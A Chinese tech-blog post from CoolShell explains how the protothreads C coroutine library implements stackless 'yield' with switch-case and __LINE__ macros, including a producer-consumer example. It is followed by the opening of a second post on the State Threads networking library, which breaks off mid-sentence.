作者，<a href=\"http://dunkels.com/adam/\" target=\"_blank\" title=\"http://dunkels.com/adam/\">Adam Dunkels</a>，一位来自瑞典皇家理工学院的计算机天才帅哥。话说这哥们挺有意思的，写了好多轻量级的作品，都是 BSD 许可证。顺便说一句，轻量级开源软件全世界多如牛毛，可像这位哥们写得如此出名的并不多。比如嵌入式网络操作系统 <a href=\"http://www.contiki-os.org/\" target=\"_blank\" title=\"http://www.contiki-os.org/\">Contiki</a>，国人耳熟能详的 TCP/IP 协议栈 <a href=\"http://en.wikipedia.org/wiki/UIP_(micro_IP)\" target=\"_blank\" title=\"http://en.wikipedia.org/wiki/UIP_(micro_IP)\">uIP</a> 和 <a href=\"http://savannah.nongnu.org/projects/lwip/\" target=\"_blank\" title=\"http://savannah.nongnu.org/projects/lwip/\">lwIP</a> 也是出自其手。上述这些软件都是经过数十年企业级应用的考验，质量之高可想而知。</p>\n<p>很多人会好奇如此“蝇量级”的代码究竟是怎么实现的呢？在分析 protothreads 源码之前，我先来给大家补一补 C 语言的基础课;-^)简而言之，这利用了 C 语言特性上的一个“奇技淫巧”，而且这种技巧恐怕连许多具备十年以上经验的 C 程序员老手都不见得知晓。当然这里先要声明我不是推荐大家都这么用，实际上这是以破坏语言的代码规范为代价，在一些严肃的项目工程中需要谨慎对待，除非你想被炒鱿鱼。</p>\n<h4>C 语言的“yield 语义”</h4>\n<p>下面的教程来自于一位 ARM 工程师、天才黑客 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/\" target=\"_blank\" title=\"http://www.chiark.greenend.org.uk/~sgtatham/\">Simon Tatham</a>（开源 Telnet/SSH 客户端 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" target=\"_blank\" title=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\">PuTTY</a> 和汇编器 <a href=\"http://www.nasm.us/\" target=\"_blank\" title=\"http://www.nasm.us/\">NASM</a> 的作者，吐槽一句，PuTTY的源码号称是所有正式项目里最难 hack 的 C，你应该猜到作者是什么语言出身）的博文：<a href=\"http://www.chiark.greenend.org.uk/~sgtatham/coroutines.html\" target=\"_blank\" title=\"http://www.chiark.greenend.org.uk/~sgtatham/coroutines.html\">Coroutines in C</a>。中文译文在<a href=\"http://www.oschina.net/translate/coroutines-in-c\" target=\"_blank\" title=\"http://www.oschina.net/translate/coroutines-in-c\">这里</a>。</p>\n<p>我们知道 python 的 yield 语义功能类似于一种迭代生成器，函数会保留上次的调用状态，并在下次调用时会从上个返回点继续执行。用 C 语言来写就像这样：</p>\n<pre class=\"EnlighterJSRAW\">int function(void) {\n  int i;\n  for (i = 0; i &lt; 10; i++)\n    return i;   /* won't work, but wouldn't it be nice */\n}</pre>\n<p>连续对它调用 10 次，它能分别返回 0 到 9。该怎样实现呢？可以利用 goto 语句，如果我们在函数中加入一个状态变量，就可以这样实现：</p>\n<pre class=\"EnlighterJSRAW\">int function(void) {\n  static int i, state = 0;\n  switch (state) {\n    case 0: goto LABEL0;\n    case 1: goto LABEL1;\n  }\n  LABEL0: /* start of function */\n  for (i = 0; i &lt; 10; i++) {\n    state = 1; /* so we will come back to LABEL1 */\n    return i;\n    LABEL1:; /* resume control straight after the return */\n  }\n}</pre>\n<p>这个方法是可行的。我们在所有需要 yield 的位置都加上标签：起始位置加一个，还有所有 return 语句之后都加一个。每个标签用数字编号，我们在状态变量中保存这个编号，这样就能在我们下次调用时告诉我们应该跳到哪个标签上。每次返回前，更新状态变量，指向到正确的标签；不论调用多少次，针对状态变量的 switch 语句都能找到我们要跳转到的位置。</p>\n<p>但这还是难看得很。最糟糕的部分是所有的标签都需要手工维护，还必须保证函数中的标签和开头 switch 语句中的一致。每次新增一个 return 语句，就必须想一个新的标签名并将其加到 switch 语句中；每次删除 return 语句时，同样也必须删除对应的标签。这使得维护代码的工作量增加了一倍。</p>\n<p>仔细想想，其实我们可以不用 switch 语句来决定要跳转到哪里去执行，而是<strong>直接利用 switch 语句本身来实现跳转</strong>：</p>\n<pre class=\"EnlighterJSRAW\">int function(void) {\n  static int i, state = 0;\n  switch (state) {\n    case 0: /* start of function */\n    for (i = 0; i &lt; 10; i++) {\n      state = 1; /* so we will come back to \"case 1\" */\n      return i;\n      case 1:; /* resume control straight after the return */\n    }\n  }\n}</pre>\n<p>酷！没想到 switch-case 语句可以这样用，其实说白了 C 语言就是脱胎于汇编语言的，switch-case 跟 if-else 一样，无非就是汇编的条件跳转指令的另类实现而已（这也间接解释了为何汇编程序员经常揶揄 C 语言是“大便一样的代码”）。我们还可以用 __LINE__ 宏使其更加一般化：</p>\n<pre class=\"EnlighterJSRAW\">int function(void) {\n  static int i, state = 0;\n  switch (state) {\n    case 0: /* start of function */\n    for (i = 0; i &lt; 10; i++) {\n      state = __LINE__ + 2; /* so we will come back to \"case __LINE__\" */\n      return i;\n      case __LINE__:; /* resume control straight after the return */\n    }\n  }\n}</pre>\n<p>这样一来我们可以用宏提炼出一种范式，封装成组件：</p>\n<pre class=\"EnlighterJSRAW\">#define Begin() static int state=0; switch(state) { case 0:\n#define Yield(x) do { state=__LINE__; return x; case __LINE__:; } while (0)\n#define End() }\nint function(void) {\n  static int i;\n  Begin();\n  for (i = 0; i &lt; 10; i++)\n    Yield(i);\n  End();\n}</pre>\n<p>怎么样，看起来像不像发明了一种全新的语言？<strong>实际上我们利用了 switch-case 的分支跳转特性，以及预编译的 __LINE__ 宏，实现了一种隐式状态机，最终实现了“yield 语义”。</strong></p>\n<p>还有一个问题，当你欢天喜地地将这种鲜为人知的技巧运用到你的项目中，并成功地拿去向你的上司邀功问赏的时候，你的上司会怎样看待你的代码呢？你的宏定义中大括号没有匹配完整，在代码块中包含了未用到的 case，Begin 和 Yield 宏里面不完整的七拼八凑……你简直就是公司里不遵守编码规范的反面榜样！</p>\n<p>别着急，在原文中 Simon Tatham 大牛帮你找到一个坚定的反驳理由，我觉得对程序员来说简直是金玉良言。</p>\n<p>将编程规范用在这里是不对的。文章里给出的示例代码不是很长，也不很复杂，即便以状态机的方式改写还是能够看懂的。但是随着代码越来越长，改写的难度将越来越大，改写对直观性造成的损失也变得相当相当大。</p>\n<p>想一想，一个函数如果包含这样的小代码块：</p>\n<pre class=\"EnlighterJSRAW\">case STATE1:\n/* perform some activity */\nif (condition) state = STATE2; else state = STATE3;</pre>\n<p>对于看代码的人说，这和包含下面小代码块的函数没有多大区别：</p>\n<pre class=\"EnlighterJSRAW\">LABEL1:\n/* perform some activity */\nif (condition) goto LABEL2; else goto LABEL3;</pre>\n<p>是的，这两个函数的结构在视觉上是一样的，而对于函数中实现的算法，两个函数都一样不利于查看。因为你使用协程的宏而炒你鱿鱼的人，一样会因为你写的函数是由小块的代码和 goto 语句组成而吼着炒了你。只是这次他们没有冤枉你，因为像那样设计的函数会严重扰乱算法的结构。</p>\n<p><strong>编程规范的目标就是为了代码清晰。</strong>如果将一些重要的东西，像 switch、return 以及 case 语句，隐藏到起“障眼”作用的宏中，从编程规范的角度讲，可以说你扰乱了程序的语法结构，并且违背了代码清晰这一要求。但是我们这样做是为了突出程序的算法结构，而算法结构恰恰是看代码的人更想了解的。</p>\n<p><span style=\"color: #ff0000;\"><strong>任何编程规范，坚持牺牲算法清晰度来换取语法清晰度的，都应该重写。</strong></span>如果你的上司因为使用了这一技巧而解雇你，那么在保安把你往外拖的时候要不断告诉他这一点。</p>\n<p>原文作者最后给出了一个 MIT 许可证的 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/coroutine.h\" target=\"_blank\" title=\"http://www.chiark.greenend.org.uk/~sgtatham/coroutine.h\">coroutine.h</a> 头文件。值得一提的是，正如文中所说，这种协程实现方法有个使用上的局限，就是<strong>协程调度状态的保存依赖于 static 变量，而不是堆栈上的局部变量</strong>，实际上也无法用局部变量（堆栈）来保存状态，这就使得代码不具备可重入性和多线程应用。后来作者补充了一种技巧，就是将局部变量包装成函数参数传入的一个虚构的上下文结构体指针，然后用动态分配的堆来“模拟”堆栈，解决了线程可重入问题。但这样一来反而有损代码清晰，比如所有局部变量都要写成对象成员的引用方式，特别是局部变量很多的时候很麻烦，再比如宏定义 malloc/free 的玩法过于托大，不易控制，搞不好还增加了被炒鱿鱼的风险（只不过这次是你活该）。</p>\n<p>我个人认为，既然协程本身是一种单线程的方案，那么我们应该假定应用环境是单线程的，不存在代码重入问题，所以我们可以大胆地使用 static 变量，维持代码的简洁和可读性。事实上<strong>我们也不应该在多线程环境下考虑使用这么简陋的协程</strong>，非要用的话，前面提到 glibc 的 ucontext 组件也是一种可行的替代方案，它提供了一种协程私有堆栈的上下文，当然这种用法在跨线程上也并非没有限制，请仔细阅读联机文档。</p>\n<h4>Protothreads的上下文</h4>\n<p>感谢 Simon Tatham 的淳淳教诲，接下来我们可以 hack 一下源码了。先来看看实现 protothreads 的数据结构， 实际上它就是协程的<strong>上下文结构体</strong>，用以保存状态变量，相信你很快就明白为何它的“堆栈”只有 2 个字节：</p>\n<pre class=\"EnlighterJSRAW\">struct pt {\n  lc_t lc;\n}</pre>\n<p>里面只有一个 short 类型的变量，实际上它是用来保存上一次出让点的程序计数器。这也映证了协程比线程的灵活之处，就是协程可以是 stackless 的，如果需要实现的功能很单一，比如像生产者-消费者模型那样用来做事件通知，那么实际上协程需要保存的状态变量仅仅是一个程序计数器即可。像 python generator 也是 stackless 的，当然实现一个迭代生成器可能还需要保留上一个迭代值，前面 C 的例子是用 static 变量保存，你也可以设置成员变量添加到上下文结构体里面。如果你真的不确定用协程调度时需要保存多少状态变量，那还是用 ucontext 好了，它的上下文提供了堆栈和信号，但是由用户负责分配资源，详细使用方法见联机文档。。</p>\n<pre class=\"EnlighterJSRAW\">typedef struct ucontext {\n  struct ucontext_t *uc_link;\n  sigset_t uc_sigmask;\n  stack_t uc_stack;\n  ...\n} ucontext_t;</pre>\n<h4>Protothreads的原语和组件</h4>\n<p>有点扯远了，回到 protothreads，看看提供的协程“原语”。有两种实现方法，在 ANSI C 下，就是传统的 switch-case 语句：</p>\n<pre class=\"EnlighterJSRAW\">#define LC_INIT（s） s = 0;  // 源码中是有分号的，一个低级 bug，啊哈～\n#define LC_RESUME(s) switch (s) { case 0:\n#define LC_SET(s) s = __LINE__; case __LINE__:\n#define LC_END(s) }\n</pre>\n<p>但这种“原语”有个难以察觉的缺陷：<strong>就是你无法在 LC_RESUME 和 LC_END （或者包含它们的组件）之间的代码中使用 switch-case语句，因为这会引起外围的 switch 跳转错误！</strong>为此，protothreads 又实现了基于 GNU C 的调度“原语”。在 GNU C 下还有一种语法糖叫做标签指针，就是在一个 label 前面加 &amp;&amp;（不是地址的地址，是 GNU 自定义的符号），可以用 void 指针类型保存，然后 goto 跳转：</p>\n<pre class=\"EnlighterJSRAW\">typedef void * lc_t；\n#define LC_INIT(s) s = NULL\n#define LC_RESUME(s) \\\n  do { \\\n    if (s != NULL) { \\\n      goto *s; \\\n    }\n  } while (0)\n#define LC_CONCAT2(s1, s2) s1##s2\n#define LC_CONCAT(s1, s2) LC_CONCAT2(s1, s2)\n#define LC_SET(s) \\\n  do { \\\n    LC_CONCAT(LC_LABEL, __LINE__): \\\n    （s） = &amp;&amp;LC_CONCAT(LC_LABEL, __LINE__); \\\n  } while (0)</pre>\n<p>好了，有了前面的基础知识，理解这些“原语”就是小菜一叠，下面看看如何建立“组件”，同时也是 protothreads API，我们先定义四个退出码作为协程的<strong>调度状态机</strong>：</p>\n<pre class=\"EnlighterJSRAW\">#define PT_WAITING 0\n#define PT_YIELDED 1\n#define PT_EXITED  2\n#define PT_ENDED   3</pre>\n<p>下面这些 API 可直接在应用程序中调用：</p>\n<pre class=\"EnlighterJSRAW\">/* 初始化一个协程，也即初始化状态变量 */\n#define PT_INIT(pt) LC_INIT((pt)-&gt;lc)\n\n/* 声明一个函数，返回值为 char 即退出码，表示函数体内使用了 proto thread，（个人觉得有些多此一举） */\n#define PT_THREAD(name_args) char name_args\n\n/* 协程入口点， PT_YIELD_FLAG=0表示出让，=1表示不出让，放在 switch 语句前面，下次调用的时候可以跳转到上次出让点继续执行 */\n#define PT_BEGIN(pt) { char PT_YIELD_FLAG = 1; LC_RESUME((pt)-&gt;lc)\n\n/* 协程退出点，至此一个协程算是终止了，清空所有上下文和标志 */\n#define PT_END(pt) LC_END((pt)-&gt;lc); PT_YIELD_FLAG = 0; \\\n                   PT_INIT(pt); return PT_ENDED; }\n\n/* 协程出让点，如果此时协程状态变量 lc 已经变为 __LINE__ 跳转过来的，那么 PT_YIELD_FLAG = 1，表示从出让点继续执行。 */\n#define PT_YIELD(pt)        \\\n  do {            \\\n    PT_YIELD_FLAG = 0;        \\\n    LC_SET((pt)-&gt;lc);       \\\n    if(PT_YIELD_FLAG == 0) {      \\\n      return PT_YIELDED;      \\\n    }           \\\n  } while(0)\n\n/* 附加出让条件 */\n#define PT_YIELD_UNTIL(pt, cond)    \\\n  do {            \\\n    PT_YIELD_FLAG = 0;        \\\n    LC_SET((pt)-&gt;lc);       \\\n    if((PT_YIELD_FLAG == 0) || !(cond)) { \\\n      return PT_YIELDED;      \\\n    }           \\\n  } while(0)\n\n/* 协程阻塞点(blocking),本质上等同于 PT_YIELD_UNTIL，只不过退出码是 PT_WAITING，用来模拟信号量同步 */\n#define PT_WAIT_UNTIL(pt, condition)          \\\n  do {            \\\n    LC_SET((pt)-&gt;lc);       \\\n    if(!(condition)) {        \\\n      return PT_WAITING;      \\\n    }           \\\n  } while(0)\n\n/* 同 PT_WAIT_UNTIL 条件反转 */\n#define PT_WAIT_WHILE(pt, cond)  PT_WAIT_UNTIL((pt), !(cond))\n\n/* 协程调度，调用协程 f 并检查它的退出码，直到协程终止返回 0，否则返回 1。 */\n#define PT_SCHEDULE(f) ((f) &lt; PT_EXITED)\n\n/* 这用于非对称协程，调用者是主协程，pt 是和子协程 thread （可以是多个）关联的上下文句柄，主协程阻塞自己调度子协程，直到所有子协程终止 */\n#define PT_WAIT_THREAD(pt, thread) PT_WAIT_WHILE((pt), PT_SCHEDULE(thread))\n\n/* 用于协程嵌套调度，child 是子协程的上下文句柄 */\n#define PT_SPAWN(pt, child, thread)   \\\n  do {            \\\n    PT_INIT((child));       \\\n    PT_WAIT_THREAD((pt), (thread));   \\\n  } while(0)</pre>\n<p>暂时介绍这么多，用户还可以根据自己的需求随意扩展组件，比如实现信号量，你会发现脱离了操作系统环境下的信号量竟是如此简单：</p>\n<pre class=\"EnlighterJSRAW\">struct pt_sem {\n  unsigned int count;\n};\n\n#define PT_SEM_INIT(s, c) (s)-&gt;count = c\n\n#define PT_SEM_WAIT(pt, s)  \\\n  do {            \\\n    PT_WAIT_UNTIL(pt, (s)-&gt;count &gt; 0);    \\\n    --(s)-&gt;count;       \\\n  } while(0)\n\n#define PT_SEM_SIGNAL(pt, s) ++(s)-&gt;count</pre>\n<p>这些应该不需要我多说了吧，呵呵，让我们回到最初例举的生产者-消费者模型，看看protothreads表现怎样。</p>\n<h4>Protothreads实战</h4>\n<pre class=\"EnlighterJSRAW\">#include \"pt-sem.h\"\n\n#define NUM_ITEMS 32\n#define BUFSIZE 8\n\nstatic struct pt_sem mutex, full, empty;\n\nPT_THREAD(producer(struct pt *pt))\n{\n  static int produced;\n\n  PT_BEGIN(pt);\n  for (produced = 0; produced &lt; NUM_ITEMS; ++produced) {\n    PT_SEM_WAIT(pt, &amp;full);\n    PT_SEM_WAIT(pt, &amp;mutex);\n    add_to_buffer(produce_item());\n    PT_SEM_SIGNAL(pt, &amp;mutex);\n    PT_SEM_SIGNAL(pt, &amp;empty);\n  }\n  PT_END(pt);\n}\n\nPT_THREAD(consumer(struct pt *pt))\n{\n  static int consumed;\n\n  PT_BEGIN(pt);\n  for (consumed = 0; consumed &lt; NUM_ITEMS; ++consumed) {\n    PT_SEM_WAIT(pt, &amp;empty);\n    PT_SEM_WAIT(pt, &amp;mutex);\n    consume_item(get_from_buffer());\n    PT_SEM_SIGNAL(pt, &amp;mutex);\n    PT_SEM_SIGNAL(pt, &amp;full);\n  }\n  PT_END(pt);\n}\n\nPT_THREAD(driver_thread(struct pt *pt))\n{\n  static struct pt pt_producer, pt_consumer;\n\n  PT_BEGIN(pt);\n  PT_SEM_INIT(&amp;empty, 0);\n  PT_SEM_INIT(&amp;full, BUFSIZE);\n  PT_SEM_INIT(&amp;mutex, 1);\n  PT_INIT(&amp;pt_producer);\n  PT_INIT(&amp;pt_consumer);\n  PT_WAIT_THREAD(pt, producer(&amp;pt_producer) &amp; consumer(&amp;pt_consumer));\n  PT_END(pt);\n}</pre>\n<p>源码包中的 example-buffer.c 包含了可运行的完整示例，我就不全部贴了。整体框架就是一个 asymmetric coroutines，包括一个主协程 driver_thread 和两个子协程 producer 和 consumer ，其实不用多说大家也懂的，代码非常清晰直观。我们完全可以通过单线程实现一个简单的事件处理需求，你可以任意添加数十万个协程，几乎不会引起任何额外的系统开销和资源占用。唯一需要留意的地方就是没有一个局部变量，因为 protothreads 是 stackless 的，但这不是问题，首先我们已经假定运行环境是单线程的，其次在一个简化的需求下也用不了多少“局部变量”。如果在协程出让时需要保存一些额外的状态量，像迭代生成器，只要数目和大小都是确定并且可控的话，自行扩展协程上下文结构体即可。</p>\n<p>当然这不是说 protothreads 是万能的，它只是贡献了一种模型，你要使用它首先就得学会适应它。下面列举一些 protothreads 的使用限制：</p>\n<ul>\n<li>由于协程是stackless的，尽量不要使用局部变量，除非该变量对于协程状态是无关紧要的，同理可推，协程所在的代码是不可重入的。</li>\n</ul>\n<ul>\n<li>如果协程使用 switch-case 原语封装的组件，那么禁止在实际应用中使用 switch-case 语句，除非用 GNU C 语法中的标签指针替代。</li>\n</ul>\n<ul>\n<li>一个协程内部可以调用其它例程，比如库函数或系统调用，但必须保证该例程是非阻塞的，否则所在线程内的所有协程都将被阻塞。毕竟线程才是执行的最小单位，协程不过是按“时间片轮度”的例程而已。</li>\n</ul>\n<p>官网上还例举了更多<a href=\"http://dunkels.com/adam/pt/examples.html\" target=\"_blank\" title=\"http://dunkels.com/adam/pt/examples.html\">实例</a>，都非常实用。另外，一个叫 Craig Graham 的工程师扩展了 pt.h，使得 protothreads 支持 sleep/wake/kill 等操作，文件在此 <a href=\"http://dunkels.com/adam/download/graham-pt.h\" target=\"_blank\" title=\"http://dunkels.com/adam/download/graham-pt.h\">graham-pt.h</a>。</p>\n<h4>协程库 DIY 攻略</h4>\n<p>看到这里，手养的你是否想迫不及待地 DIY 一个协程组件呢？哪怕很多动态语言本身已经支持了协程语义，很多 C 程序员仍然倾向于自己实现组件，网上很多开源代码底层用的主要还是 glibc 的 ucontext 组件，毕竟提供堆栈的协程组件使用起来更加通用方便。你可以自己写一个调度器，然后模拟线程上下文，再然后……你就能搞出一个跨平台的COS了（笑）。GNU Pth 线程库就是这么实现的，其原作者德国人 <a href=\"http://engelschall.com/\" target=\"_blank\" title=\"http://engelschall.com/\">Ralf S. Engelschall</a> （又是个开源大牛，还写了 <a href=\"http://engelschall.com/software-artist.php\" target=\"_blank\" title=\"http://engelschall.com/software-artist.php\">OpenSSL 等许多作品</a>）就写了一篇<a href=\"http://xmailserver.org/rse-pmt.pdf\" target=\"_blank\" title=\"http://xmailserver.org/rse-pmt.pdf\">论文</a>教大家如何实现一个线程库。另外 protothreads 官网上也有一大堆<a href=\"http://dunkels.com/adam/pt/links.html\" target=\"_blank\" title=\"http://dunkels.com/adam/pt/links.html\">推荐阅读</a>。Have fun！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8239.html\"><img alt=\"无锁队列的实现\" height=\"150\" src=\"../wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8239.html\">无锁队列的实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10975.html\">一个“蝇量级” C 语言协程库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-10-12 State Threads 回调终结者.html",
    "content": "<html><body><p><strong>（感谢网友 </strong><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><strong> 投稿）</strong></p>\n<p>上回写了篇<a href=\"https://coolshell.cn/articles/10975.html\" target=\"_blank\" title=\"一个“蝇量级” C 语言协程库\">《一个“蝇量级”C语言协程库》</a>，推荐了一下<a href=\"http://dunkels.com/adam/pt/\" target=\"_blank\" title=\"Protothreads\">Protothreads</a>，通过coroutine模拟了用户级别的multi-threading模型，虽然本身足够“轻”，杜绝了系统开销，但这个库本身应用场合主要是内存限制的嵌入式领域，提供原生态组件太少，使用限制太多，比如依赖其它调用产生阻塞等。</p>\n<p>这回又替大家在开源界淘了个宝，推荐一个轻量级网络应用框架<strong>State Threads</strong>（以下简称ST），总共也就3000行C代码，跟Protothreads不同在于ST针对的就是<strong>高性能可扩展服务器</strong>领域（值得一提的是Protothreads官网<a href=\"http://dunkels.com/adam/pt/links.html\" target=\"_blank\" title=\"参考链接\">参考链接</a>上第一条就是ST的官网）。在其<a href=\"http://state-threads.sourceforge.net/docs/faq.html\" target=\"_blank\" title=\"FAQ\">FAQ</a>页面上一句引用”Perfection is achieved not when there is nothing more to add, but rather when there is nothing more to take away.”可以视为开发人员对ST源码质量的自信。</p>\n<h4>历史渊源</h4>\n<p>首先介绍一下这个库的历史渊源，从代码贡献者来看，ST不是个人作品，而是有着雄厚的商业支持和应用背景，比如服务器领域，在<a href=\"http://state-threads.sourceforge.net/news.html\" target=\"_blank\">这里</a>你可以看到ST曾作为Apache的多核应用模块发布。其诞生最初是由网景（Netscape）公司的MSPR（Netscape Portable Runtime library）项目中剥离出来，后由SGI（Silicon Graphic Inc）还有Yahoo!公司（前者是主力）开发维护的独立线程库。历史版本方面，作为<a href=\"http://sourceforge.net/projects/state-threads/files/\" target=\"_blank\" title=\"SourceForge\">SourceForge</a>上开源项目，由2001年发布v1.0以来一直到2009年v1.9稳定版后未再变动。在平台移植方面，从Makefile的配置选项中可知ST支持多种Unix-like平台，还有专门针对Win32的源码改写。源码例子中，提供了web server、proxy以及dns三种编程实例供参考。可以说代码质量应该是相当的稳定和可靠的。</p>\n<p><span id=\"more-12012\"></span></p>\n<p>至于许可证方面，有必要略作说明。出于历史原因，网景最初发布时选择了MPL1.1许可证，而后SGI在维护中又混进了GPLv2许可证，照理说这两种许可证是互不兼容的（MPL1.1后续版本是GPL兼容的），也就是说用双许可证打包发布理论上是非法无效的，见GNU官网上<a href=\"http://www.gnu.org/licenses/license-list.html#MPL\" target=\"_blank\" title=\"GPL兼容\">MPL兼容性</a>一节。但这里有值得商榷的地方，因为文中又提及，根据MPL1.1中某条款第13节，如果整段或部分代码允许采用另一许可证作为备用（alternate）选择，比如GPL及其兼容，那么整个库的许可证就可视为GPL兼容的。如此一来所谓GPL兼容性一般解释为你不能在GPLv2的代码中混入MPL1.1，而不是说你不能在MPL1.1代码中混入GPLv2，也就是说GPLv2在MPL1.1之后是可以接受的，事实上SGI就采用了后面的做法，尚未引起版权上的纠纷。为此我还考证了一下FAQ上<a href=\"http://state-threads.sourceforge.net/docs/faq.html\" target=\"_blank\" title=\"license\">license</a>一节的说法，说ST既可以在MPL和GPL之间选择一种，也可以继续用双许可证，还补了一句在non-free项目使用上也没有限制，但对ST源码所做改动必须对用户可见。在源码文件中的SGI的附加声明还解释了将ST转为GPL代码的做法，就是可以删除前面MPL的声明，否则后续用户仍可以在两者之间二选一。个人觉得既然SGI都这样发话了，那么可解释为反之删除GPL的声明继续采用MPL也是可以接受的，如果你对双许可证承诺仍不放心的话。</p>\n<h4>基于事件驱动状态机（EDSM）</h4>\n<p>好了，下面该进入技术性话题了。前面说了ST的目标是<strong>高性能可扩展</strong>，其技术特征一言以蔽之就是</p>\n<blockquote><p><strong>“It combines the simplicity of the multi-threaded programming paradigm, in which one thread supports each simultaneous connection, with the performance and scalability of an event-driven state machine (EDSM) architecture.”</strong></p></blockquote>\n<p>我们先来纵向比较ST与传统的EDSM区别，再来横向比较与其它线程库（比如Pthread）的区别（注：以下图片全部来自<a href=\"http://state-threads.sourceforge.net/docs/faq.html\" target=\"_blank\" title=\"ST FAQ\">State Threads Library FAQ</a>）。</p>\n<p>传统EDSM最常见的方式就是I/O事件的<strong>异步回调</strong>。基本上都会有一个叫做dispatcher的单线程主循环（又叫event loop），用户通过向dispatcher注册回调函数（又叫event handler）来实现异步通知，从而不必在原地空耗资源干等，在dispatcher主循环中通过select()/poll()系统调用来等待各种I/O事件的发生，当内核检测到事件触发并且数据可达或可用时，select()/poll()会返回从而使dispatcher调用相应的回调函数来对处理用户的请求。所以异步回调与其说是通知，不如说用委托更恰当。</p>\n<p>整个过程都是单线程的。<strong>这种处理本质上就是将一堆互不相交（disjoint）的回调实现同步控制，就像串联在一个顺序链表上。</strong>见图1，黑色的双箭头表示I/O事件复用，回调是个筐，里面装着对各种请求的处理（当然不是每个请求都有回调，一个请求也可以对应不同的回调），每个回调被串联起来由dispatcher激活。这里请求等价于thread的概念（不是操作系统的线程），只不过“上下文切换”（context switch）发生在每个回调结束之时（假设不同请求对应不同回调），注册下一个回调以待事件触发时恢复其它请求的处理。至于dispatcher的执行状态（execute state）可作为回调函数的参数保存和传递。</p>\n<p><img alt=\"EDSM\" class=\"aligncenter\" src=\"../wp-content/uploads/2014/10/edsm.gif\"/></p>\n<p>异步回调的缺陷在于<strong>难以实现和扩展</strong>，虽然已经有libevent这样的通用库，以及其它actor/reacotor的设计模式及其框架，但正如Dean Gaudet（Apache开发者）所说：“其内在的复杂性——<strong>将线性思维分解成一堆回调的负担</strong>（breaking up linear thought into a bucketload of callbacks）——仍然存在”。从上图可见，<strong>回调之间请求例程不是连续的，比如回调之间的切换会打断部分请求，又比如有新的请求需要重新注册。</strong></p>\n<p><strong>ST本质上仍然是基于EDSM模型，但旨在取代传统的异步回调方式。</strong>ST将请求抽象为thread概念以更接近自然编程模式（所谓的linear thought吧，就像操作系统的线程之间切换那样自然）。ST的调度器（scheduler）对于用户来说是透明的，不像dispatcher那种将执行状态（execute state）暴露给回调方式。每个thread的现场环境可以保存在栈上（一段连续的大小确定的内存空间），由C的运行环境管理。从图2看到，<strong>ST的threads可以并发地线性地处理I/O事件，模型比异步回调简单得多。</strong></p>\n<p><img alt=\"State Threads\" class=\"aligncenter\" src=\"../wp-content/uploads/2014/10/st_edsm.gif\"/></p>\n<p>这里稍微解释一下ST调度工作原理，ST运行环境维护了四种队列，分别是IOQ、RUNQ、SLEEPQ以及ZOMBIEQ，<strong>当每个thread处于不同队列中对应不同的状态（ST顾名思义所谓thread状态机）。</strong>比如polling请求的时候，当前thread就加入IOQ表示等待事件（如果有timeout同时会被放到SLEEPQ中），当事件触发时，thread就从IOQ（如果有timeout同时会从SLEEPQ）移除并转移到RUNQ等待被调度，成为当前的running 